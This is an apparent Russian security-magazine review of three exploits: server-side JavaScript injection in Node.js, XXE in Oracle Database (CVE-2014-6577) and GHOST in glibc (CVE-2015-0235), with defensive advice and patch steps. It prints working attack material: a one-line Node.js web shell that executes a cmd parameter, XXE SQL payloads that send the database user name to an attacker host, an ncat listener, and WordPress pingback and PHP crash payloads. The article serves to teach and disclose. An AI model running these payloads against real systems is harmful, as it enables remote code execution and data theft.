Содержание статьи
SSJS уязвимости
CVSSv2
N/A
BRIEF
Дата релиза: 31 января 2015 года
Автор: s1gnalcha0s, Jarda Kotěšovec
CVE: N/A
Начнем не с отдельной уязвимости, а с типа — SSJS, что означает Server Side JavaScript Injection (инъекция JavaScript-кода на серверной стороне). После появления платформы Node.js язык JavaScript встал на новый путь своего развития. С помощью нее стали делать как отдельные части крупных сервисов, так и простые веб‑приложения. В концепте, о котором мы поговорим, ошибка происходит из‑за неправильной обработки вводимых пользователем данных, которые поступают в опасную функцию eval(
.
EXPLOIT
В качестве примера возьмем простой скрипт (на скриншоте представлен его вид в браузере):
router.post('/demo1', function(req, res) { var year = eval("year = (" + req.body.year + ")"); var date = new Date(); var futureAge = 2050 - year; res.render('demo1', { title: 'Future Age', output: futureAge });});
Для атаки воспользуемся программой Burp Suite (о ней мы уже писали не раз) и вместо отправки своего года рождения попытаемся обратиться к переменной res
и заменить ее значение:
res.write('SSJS Injection')
Если после этого на странице будет выведена наша строка, то приложение уязвимо к SSJS-инъекциям и мы можем запустить подобие веб‑шелла на JS, который станет доступен через пять секунд на 8000-м порту:
setTimeout(function() { require('http').createServer(function(req, res) { res.writeHead(200, { "Content-Type": "text/plain" }); require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e, s, st) { res.end(s); }); }).listen(8000);}, 5000)
Для использования этот код нужно представить в одну строку.
Так как вставляемый код будет выполнен текущим приложением, то полученный веб‑шелл не будет записан на диск и выполнится как дочерний процесс Node-процесса. Помимо этого, отправленный код ничего не выполняет на текущей странице, поэтому после его выполнения нам покажется обычная страница нашего тестового приложения.
Теперь на 8000-м порт мы можем отправлять различные системные команды через переменную cmd
. На скриншотах представлены примеры выполнения следующих команд:
cat /etc/passwd
ls -la /etc
Это вполне реальный простой пример приложения, уязвимого к SSJS-инъекциям. Подобную уязвимость обнаружил в плагине Basmaster исследователь Ярда Котешовец (Jarda Kotěšovec). Ей был присвоен номер CVE-2014-7205, и в качестве патча функция eval(
была просто удалена. Помимо рассмотренного веб‑шелла, есть Metasploit-модуль, эксплуатирующий уязвимость CVE-2013-4660, поэтому, если ты найдешь уязвимость в каком‑либо Node.js-приложении, можешь использовать и его в качестве шаблона.
На текущий момент не все тулзы для проверки безопасности веб‑приложений обнаруживают подобную уязвимость, поэтому советую обновить/написать плагины.
SOLUTION
Для того чтобы быть в курсе по безопасности Node.js, советую сайт nodesecurity.io, где ты можешь найти перечень уязвимостей в продуктах на этой платформе или в самой Node.js.
От редакции
Илья «f1nn» Русанен, главред Х
Борис привел отличный концепт server-side injection для Node.js. При нахождении подобных участков в опенсорсных модулях проблема обретает массовый характер. Как Node.js-разработчик, дам пару простых советов, которые до какой‑то степени помогут тебе избежать таких проблем в своем, да и чужом коде, на базе рассмотренного выше примера для фреймворка Express:
-
Не используй eval(). Использование
eval(
(да и любой динамической генерации функций по пользовательскому вводу) — в 95% случаев опасный ход, потенциально ведущий к исполнению кода, старайся обходиться без него. Лично мне не удалось обойтись без eval() только один раз — когда делал пакетную генерацию глобально доступных методов по набору данных при старте воркера. Но я работал с доверенными данными, которые не могли быть скомпрометированы без захвата всей системы, так как были read-only. В нашем же примере уязвимость проявляется при прямой попытке выполнить пользовательский или полученный с помощью пользовательских данных ввод, что в принципе недопустимо. Хотя, конечно, бывают дикие случаи, когда сама строка для eval() скомпрометирована внешним методом, а сама по себе может брать вполне доверенные данные, но это уже, сам понимаешь, комплексная проблема всей системы. Если такое случится — тебе уже будет не до eval().) -
Фильтруй ввод или используй подготовленные шаблоны.. Если тебе (или third-party модулю) все‑таки нужно выполнять что‑то, что приходит от клиента:
- проверяй валидность полученных данных на соответствие ожидаемому формату, часто это уже решает половину проблемы;
- обезопась все, что приходит от клиента, а потом не забудь отловить ошибку при eval() / генерации функции, если ввод не соответствует ожиданиям. Этот пункт не всегда помогает, так как, во‑первых, try/catch может быть предусмотрен злоумышленником в исполняемой функции, чтобы обойти твои «ловушки» или помешать им подняться до более «высокого» уровня. А во вторых, как известно, try/catch не предназначен для обработки асинхронного кода. Подробнее смотри тут;
- в‑третьих, если у тебя нет прямого контроля над вводом (скажем, уязвимый модуль используется в качестве middleware-функции и берет данные напрямую из объекта
req
Express’а, а форкать ты по каким‑то причинам не хочешь), пиши отдельную middleware-функцию, которая до попадания данных в чужой модуль обезопасит полученные данные, просто перезаписав их.
Адаптируя эти подходы под себя, ты можешь с высокой вероятностью профильтровать попытки инжекта в свое приложение на Node.js.
XXE-инъекция в Oracle Database
CVSSv2
N/A
BRIEF
Дата релиза: 21 января 2015 года
Автор: Khai Tran
CVE: 2014-6577
Модуль XML Parser в Oracle Database подвержен инъекции типа XML External Entity (XXE). Во время его выполнения дополнительная schema получается, но не обрабатывается. Из‑за этого мы не можем провести обычную XXE-атаку с возможностью, например, прочитать различные локальные файлы с уязвимого сервера. Тем не менее атакующий может с помощью специального запроса вызвать XML Resolver, обманув сервер, и обратиться к удаленному ресурсу по FTP- или HTTP-протоколу. Вследствие этого становится возможным выбрать некоторые данные из БД, просканировать порты, выполнить Server-Side Request Forgery (SSRF) атаки или вызвать DoS.
EXPLOIT
Уязвимы следующие URI-обработчики:
- http;
- ftp.
XML Parser может быть вызван с помощью функции extractvalue() для объекта xmltype. Если бы у нас была простая XXE-уязвимость, то сработал бы следующий «стандартный» код:
select extractvalue(xmltype('<!ENTITY xxe SYSTEM "etc/passwd">]>'|| '&' ||'xxe;'),'/l') from dual;
Увы, после выполнения мы получим следующую ошибку:
ORA-31001: Invalid resource handle or path name "/etc/passwd"ORA-06512: at "SYS.XMLTYPE", line 310ORA-06512: at line 131001. 00000 - "Invalid resource handle or path name "%s""*Cause: An invalid resource handle or path name was passed to the XDB hierarchical resolver.*Action: Pass a valid resouce handle or path name to the hierarchical resolver.
Во время обработки FILE URI он конвертируется в путь XDB Repository. Но если мы обратимся к HTTP URI обработчику, то получим уже другую ошибку. Пример такого запроса:
select extractvalue(xmltype('<!ENTITY xxe SYSTEM "http://IP/test">]>'|| '&' ||'xxe;'),'/l') from dual;
Ошибка на сервере:
ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server sideORA-06512: at "SYS.XMLTYPE", line 310ORA-06512: at line 131020. 00000 - "The operation is not allowed, Reason: %s"*Cause: The operation attempted is not allowed*Action: See reason and change to a valid operation.
Эта ошибка показывает нам, что FTP и HTTP URI уже не конвертируются и без проблем обрабатываются модулем XML Parser «как есть». Заметь, что указанная выше команда не отправляет HTTP-запросы на сервер атакующего. Поэтому рассмотрим теперь следующий запрос с другой полезной нагрузкой, который обращается к Parameter Entity вместо Document Entity.
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>'),'/l') from dual;
После его выполнения на сервере будет та же ошибка, что и в прошлый раз (ORA-31020). Но, несмотря на это, сервер мы все равно обманули, и он обратился к ресурсу с именем test
. Для проверки просмотрим HTTP логи на атакующем сервере:
ncat -lvp 80
Ncat: Version 6.25 ( http://nmap.org/ncat )Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from DB_IP.
Ncat: Connection from DB_IP:27320.
GET /test HTTP/1.0
Host: DB_IP
Content-Type: text/plain; charset=utf-8
Обычно атакующему требуется доступ к пакету UTL_HTTP, чтобы сервер выполнял HTTP-запросы на удаленные ресурсы. В нашем случае функция extractvalue() доступна для всех пользователей базы данных, что и позволяет нам выполнять HTTP-запросы без каких‑либо привилегий.
Обработчик FTP URI (ftp:) может быть так же использован, как и HTTP URI. Пример запроса, который отправляет имя пользователя базы данных в качестве логина FTP-пользователя.
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
Но ошибка в базе данных будет отличаться (так как используемые данные для доступа к FTP вряд ли будут реальными):
ORA-31011: XML parsing failedORA-19202: Error occurred in XML processingLPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)Error at line 1ORA-06512: at "SYS.XMLTYPE", line 310ORA-06512: at line 131011. 00000 - "XML parsing failed"*Cause: XML parser returned an error while trying to parse the document.*Action: Check if the document to be parsed is valid.
На скриншоте ты можешь увидеть логи FTP-сервера, на котором выделено переданное имя пользователя — SYSTEM
, в качестве логина.
Если тебе интересна тема XXE-инъекций, то советую презентацию с Black Hat от наших русских ребят или статьи из прошлых номеров Хакера.
TARGETS
Oracle Database 11.2.0.3, 11.2.0.4, 12.1.0.1 и 12.1.0.2.
SOLUTION
Есть исправление от производителя.
GHOST. Переполнение gethostbyname() в библиотеке glibc
CVSSv2
N/A
BRIEF
Дата релиза: 8 июля 2015 года
Автор: Qualys, Spiderlabs
CVE: 2015-0235
Ну и конечно, в своем обзоре мы не могли обойти стороной нашумевшую уязвимость, которая получила собственное название — GHOST. Такое имя, немного поиграв буквами, ей дали из‑за того, что ошибка находится в функциях gethostbyname(
и gethostbyname2(
библиотеки glibc: GetHOSTbyname(
.
Хотя честнее будет сказать, что переполнение находится в функции __nss_hostname_digits_dots(
, которая уже, в свою очередь, используется указанными выше функциями. Ниже представлен список нескольких уязвимых приложений:
- clockdiff;
- procmail (through its comsat/biff feature);
- pppd;
- Exim mail server (если сконфигурирован с опциями helo_verify_hosts или helo_try_verify_hosts).
Сложность эксплуатации состоит в том, что для перезаписи кучи URL должен удовлетворять следующим условиям:
- содержать в себе только цифры и точку;
- первый символ должен быть цифрой;
- последний символ не должен быть точкой;
- быть достаточно длинным, чтобы переполнить буфер (>1 Кб).
Боевого эксплойта пока что нет в свободном доступе, но есть различные PoC, которые могут как минимум вызвать DoS сервера. О них мы и поговорим.
EXPLOIT
Помимо обычных приложений, указанных выше, этой уязвимости подвержены и те, которые написаны на PHP, так как там существует обертка для функции gethostbyname(
с одноименным названием. Более того, такая функция используется в популярной CMS WordPress в функционале pingback. Ее вызов находится по следующему пути wp-includes/
:
$parsed_home = @parse_url( get_option( 'home' ) );$same_host = strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );if ( ! $same_host ) { $host = trim( $parsed_url['host'], '.' ); if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) { $ip = $host; } else { $ip = gethostbyname( $host ); if ( $ip === $host ) // Error condition for gethostbyname() $ip = false; }
Поэтому атакующий может воспользоваться этим вектором и выполнить произвольный код на стороне сервера, отправив вредоносный URL.
Функционал pingback уже не первый раз используется для атак. Анализ одной из таких DDoS-атак ты можешь прочитать в блоге компании SpiderLabs, а на скриншоте показан пример атаки с помощью XML-запроса, который отправляется на скрипт xmlrpc.
WordPress-сайта. Желтым подсвечен сайт, который используется как транспорт, а оранжевым — жертва. Для нашей же уязвимости в оранжевом URL будет набор вредоносных байт.
После упоминания, что новой уязвимости подвержен WordPress, исследователи из SpiderLabs написали небольшой скрипт для текущей уязвимости WordPress-сайтов.
# Set up POST requestpayload = <<_EOF_<?xml version="1.0"?> <methodCall> <methodName>pingback.ping</methodName> <params><param><value> <string>http://#{ghost_host}/index.php</string> </value></param> <param><value> <string>http://#{ghost_host}/index.php</string> </value></param> </params> </methodCall>_EOF_
В переменной #{
у нас будет храниться строка из 0
длиной, указанной в аргументе переданному скрипту. Как пишут исследователи, эта длина отличается для различных платформ и версий glibc, PHP и WordPress. После успешной атаки мы увидим следующее:
- 500 код ответа для варианта с php-cgi;
- без HTTP ответа с mod_php.
На скриншоте показан файл error_log
от Apache с ошибками после падения процесса.
Полный текст скрипта можешь скачать с GitHub. Так как этот скрипт и так был написан на Ruby, то не составило труда переделать его в небольшой модуль‑сканер для фреймворка Metasploit — wordpress_ghost_scanner.
. Еще есть небольшая программа на C от авторов уязвимости. Или вариант для быстрой проверки:
> php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);'Segmentation fault
Можешь выбрать любой из представленных вариантов и проверить им свои сайты. Помимо этого, можешь ради интереса найти сервисы в своей системе, которые используют libc:
lsof | grep libc | awk '{print $1}' | sort | uniq
Авторы уязвимости из компании Qualys пишут, что работают над полноценным Metasploit-модулем для этой уязвимости, так что ожидаем интересных атак после релиза, тем более их PoC обходит защитные механизмы на 32/64-битных системах. Для успешной атаки достаточно отправить письмо на сервер с запущенным exim. Некоторый анализ они представили на своем сайте.
TARGETS
Glibc 2.17 и ниже. В других реализациях libc (uclibc, musl) уязвимость отсутствует, но уязвим Eglibc.
SOLUTION
Есть исправление от производителя. Патч был выпущен в мае 2013-го в версии glibc-2.18, но был сделан «по‑тихому», и из‑за этого многие дистрибутивы его использовали намного позже. Но на всякий случай советую обновиться.
Для Ubuntu ОС набор команд стандартный:
sudo apt-get clean
sudo apt-get update
sudo apt-get upgrade
Для WordPress советуют отключить XML-RPC с помощью плагина и функционал pingback, добавив в файл functions.
следующие строки:
add_filter( `xmlrpc_methods`, function( $methods ) { unset( $methods['pingback.ping'] ); return $methods;} );
И не забывай просматривать логи :).